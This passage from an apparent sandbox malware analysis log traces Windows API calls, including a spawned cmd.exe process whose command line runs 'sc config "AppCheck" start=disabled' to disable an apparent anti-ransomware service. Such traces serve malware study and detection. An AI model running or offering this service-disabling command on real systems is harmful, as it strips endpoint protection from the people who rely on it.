wDayOfWeek=0x1, wDay=0x17, wHour=0x0, wMinute=0x38, wSecond=0x10, wMilliseconds=0x22)) [0146.482] VirtualFree (lpAddress=0x1c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.482] VirtualFree (lpAddress=0x710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.489] FreeLibrary (hLibModule=0x76d30000) returned 1 [0146.489] LocalFree (hMem=0x2bf310) returned 0x0 [0146.489] FreeLibrary (hLibModule=0x76d30000) returned 1 [0146.489] LocalFree (hMem=0x2c3de0) returned 0x0 [0146.490] ExitProcess (uExitCode=0x0) Thread: id = 7 os_tid = 0x5bc Thread: id = 8 os_tid = 0x6f4 Thread: id = 9 os_tid = 0x7b8 Thread: id = 149 os_tid = 0x790 [0145.476] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.476] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.476] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x214) returned 0x2a0d08 [0145.476] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.477] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.477] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.477] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0145.477] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.478] GetCurrentThreadId () returned 0x790 [0145.478] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.478] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.479] RtlAllocateHeap (HeapHandle=0x2e50000, Flags=0x8, Size=0x214) returned 0x2e50a78 [0145.479] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.479] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.479] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.480] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0145.480] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.481] GetCurrentThreadId () returned 0x790 [0145.575] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2a0d08 | out: hHeap=0x2a0000) returned 1 [0145.575] HeapFree (in: hHeap=0x2e50000, dwFlags=0x0, lpMem=0x2e50a78 | out: hHeap=0x2e50000) returned 1 [0145.576] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.577] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0145.578] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0145.578] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4a6c1000" os_pid = "0xc4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xb7c" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10 os_tid = 0x6a4 [0066.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3aff1c | out: lpSystemTimeAsFileTime=0x3aff1c*(dwLowDateTime=0x804f8b80, dwHighDateTime=0x1d60051)) [0066.284] GetCurrentProcessId () returned 0xc4 [0066.284] GetCurrentThreadId () returned 0x6a4 [0066.284] GetTickCount () returned 0x1146d73 [0066.284] QueryPerformanceCounter (in: lpPerformanceCount=0x3aff14 | out: lpPerformanceCount=0x3aff14*=18609180549) returned 1 [0066.285] GetModuleHandleA (lpModuleName=0x0) returned 0x4aad0000 [0066.285] __set_app_type (_Type=0x1) [0066.285] __p__fmode () returned 0x770331f4 [0066.329] __p__commode () returned 0x770331fc [0066.330] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aaf21a6) returned 0x0 [0066.330] __getmainargs (in: _Argc=0x4aaf4238, _Argv=0x4aaf4240, _Env=0x4aaf423c, _DoWildCard=0, _StartInfo=0x4aaf4140 | out: _Argc=0x4aaf4238, _Argv=0x4aaf4240, _Env=0x4aaf423c) returned 0 [0066.330] GetCurrentThreadId () returned 0x6a4 [0066.330] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x6a4) returned 0x60 [0066.331] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0066.331] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadUILanguage") returned 0x76d5a84f [0066.331] SetThreadUILanguage (LangId=0x0) returned 0x409 [0066.331] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.331] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3afeac | out: phkResult=0x3afeac*=0x0) returned 0x2 [0066.332] VirtualQuery (in: lpAddress=0x3afee3, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x3af000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.332] VirtualQuery (in: lpAddress=0x2b0000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x2b0000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0066.332] VirtualQuery (in: lpAddress=0x2b1000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x2b1000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0066.332] VirtualQuery (in: lpAddress=0x2b3000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x2b3000, AllocationBase=0x2b0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0066.332] VirtualQuery (in: lpAddress=0x3b0000, lpBuffer=0x3afe7c, dwLength=0x1c | out: lpBuffer=0x3afe7c*(BaseAddress=0x3b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x150000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0066.332] GetConsoleOutputCP () returned 0x1b5 [0066.332] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaf4260 | out: lpCPInfo=0x4aaf4260) returned 1 [0066.332] SetConsoleCtrlHandler (HandlerRoutine=0x4aaee72a, Add=1) returned 1 [0066.332] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.332] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0066.333] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.333] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aaf41ac | out: lpMode=0x4aaf41ac) returned 1 [0066.333] _get_osfhandle (_FileHandle=1) returned 0x7 [0066.333] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0066.333] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.333] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aaf41b0 | out: lpMode=0x4aaf41b0) returned 1 [0066.335] _get_osfhandle (_FileHandle=0) returned 0x3 [0066.335] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0066.335] GetEnvironmentStringsW () returned 0x512140* [0066.335] GetProcessHeap () returned 0x500000 [0066.335] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x512c80 [0066.336] FreeEnvironmentStringsW (penv=0x512140) returned 1 [0066.336] GetProcessHeap () returned 0x500000 [0066.336] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x4) returned 0x5118e0 [0066.336] GetEnvironmentStringsW () returned 0x512140* [0066.336] GetProcessHeap () returned 0x500000 [0066.336] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x5137c0 [0066.336] FreeEnvironmentStringsW (penv=0x512140) returned 1 [0066.336] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3aee1c | out: phkResult=0x3aee1c*=0x68) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x0, lpcbData=0x3aee20*=0x1000) returned 0x2 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x1000) returned 0x2 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x0, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x1000) returned 0x2 [0066.337] RegCloseKey (hKey=0x68) returned 0x0 [0066.337] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3aee1c | out: phkResult=0x3aee1c*=0x68) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x40, lpcbData=0x3aee20*=0x1000) returned 0x2 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.337] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x1, lpcbData=0x3aee20*=0x1000) returned 0x2 [0066.338] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x0, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.338] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x9, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.338] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x4, lpData=0x3aee28*=0x9, lpcbData=0x3aee20*=0x4) returned 0x0 [0066.338] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3aee24, lpData=0x3aee28, lpcbData=0x3aee20*=0x1000 | out: lpType=0x3aee24*=0x0, lpData=0x3aee28*=0x9, lpcbData=0x3aee20*=0x1000) returned 0x2 [0066.338] RegCloseKey (hKey=0x68) returned 0x0 [0066.338] time (in: timer=0x0 | out: timer=0x0) returned 0x5e776e3d [0066.338] srand (_Seed=0x5e776e3d) [0066.338] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" [0066.338] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" [0066.339] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aaf5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.339] GetProcessHeap () returned 0x500000 [0066.339] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x210) returned 0x512140 [0066.339] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x512148, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0066.340] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.340] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.340] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.340] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.340] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab00640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0066.340] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0066.340] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0066.341] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0066.341] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0066.341] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0066.341] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0066.341] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0066.341] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0066.341] GetProcessHeap () returned 0x500000 [0066.341] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x511810 [0066.341] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3afbe8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3afbe8, lpFilePart=0x3afbe4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3afbe4*="Desktop") returned 0x25 [0066.341] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0066.341] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af964 | out: lpFindFileData=0x3af964*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x512358 [0066.341] FindClose (in: hFindFile=0x512358 | out: hFindFile=0x512358) returned 1 [0066.342] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3af964 | out: lpFindFileData=0x3af964*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x512358 [0066.342] FindClose (in: hFindFile=0x512358 | out: hFindFile=0x512358) returned 1 [0066.342] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0066.342] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3af964 | out: lpFindFileData=0x3af964*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x72195c80, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x72195c80, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x512358 [0066.342] FindClose (in: hFindFile=0x512358 | out: hFindFile=0x512358) returned 1 [0066.342] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0066.342] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0066.342] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0066.342] GetProcessHeap () returned 0x500000 [0066.343] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x512c80 | out: hHeap=0x500000) returned 1 [0066.343] GetEnvironmentStringsW () returned 0x512b98* [0066.343] GetProcessHeap () returned 0x500000 [0066.343] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xb36) returned 0x514300 [0066.343] FreeEnvironmentStringsW (penv=0x512b98) returned 1 [0066.343] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aaf5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.343] GetProcessHeap () returned 0x500000 [0066.343] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x511810 | out: hHeap=0x500000) returned 1 [0066.343] GetProcessHeap () returned 0x500000 [0066.343] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x400e) returned 0x514e40 [0066.343] GetProcessHeap () returned 0x500000 [0066.343] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x511810 [0066.344] GetProcessHeap () returned 0x500000 [0066.344] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514e40 | out: hHeap=0x500000) returned 1 [0066.344] GetConsoleOutputCP () returned 0x1b5 [0066.344] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aaf4260 | out: lpCPInfo=0x4aaf4260) returned 1 [0066.344] GetUserDefaultLCID () returned 0x409 [0066.345] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aaf4950, cchData=8 | out: lpLCData=":") returned 2 [0066.345] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3afd28, cchData=128 | out: lpLCData="0") returned 2 [0066.345] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3afd28, cchData=128 | out: lpLCData="0") returned 2 [0066.345] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3afd28, cchData=128 | out: lpLCData="1") returned 2 [0066.345] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aaf4940, cchData=8 | out: lpLCData="/") returned 2 [0066.345] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aaf4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aaf4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aaf4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aaf4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aaf4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aaf4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aaf4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aaf4930, cchData=8 | out: lpLCData=".") returned 2 [0066.346] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aaf4920, cchData=8 | out: lpLCData=",") returned 2 [0066.346] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0066.348] GetProcessHeap () returned 0x500000 [0066.348] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x20c) returned 0x512b98 [0066.348] GetConsoleTitleW (in: lpConsoleTitle=0x512b98, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0066.348] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0066.348] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileExW") returned 0x76d63b92 [0066.348] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0066.348] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleInputExeNameW") returned 0x76d5a79d [0066.350] GetProcessHeap () returned 0x500000 [0066.350] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x400a) returned 0x514e40 [0066.350] GetProcessHeap () returned 0x500000 [0066.350] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514e40 | out: hHeap=0x500000) returned 1 [0066.350] _wcsicmp (_String1="sc", _String2=")") returned 74 [0066.350] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0066.350] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0066.350] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0066.350] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0066.350] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0066.350] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0066.350] GetProcessHeap () returned 0x500000 [0066.350] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x58) returned 0x512db0 [0066.350] GetProcessHeap () returned 0x500000 [0066.350] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xe) returned 0x510008 [0066.351] GetProcessHeap () returned 0x500000 [0066.351] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x4c) returned 0x512e10 [0066.352] GetConsoleTitleW (in: lpConsoleTitle=0x3afa20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0066.353] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0066.353] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0066.353] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0066.353] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0066.353] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0066.353] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0066.353] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0066.353] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0066.353] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0066.353] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0066.353] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0066.353] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0066.353] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0066.353] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0066.353] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0066.353] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0066.353] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0066.353] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0066.353] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0066.353] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0066.353] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0066.353] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0066.353] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0066.353] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0066.353] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0066.354] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0066.354] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0066.354] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0066.354] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0066.354] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0066.354] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0066.354] _wcsicmp (_String1="sc", _String2="START") returned -17 [0066.354] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0066.354] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0066.354] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0066.354] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0066.354] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0066.354] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0066.354] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0066.354] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0066.354] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0066.354] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0066.354] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0066.354] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0066.354] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0066.354] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0066.354] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0066.354] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0066.354] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0066.354] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0066.354] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0066.355] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0066.355] 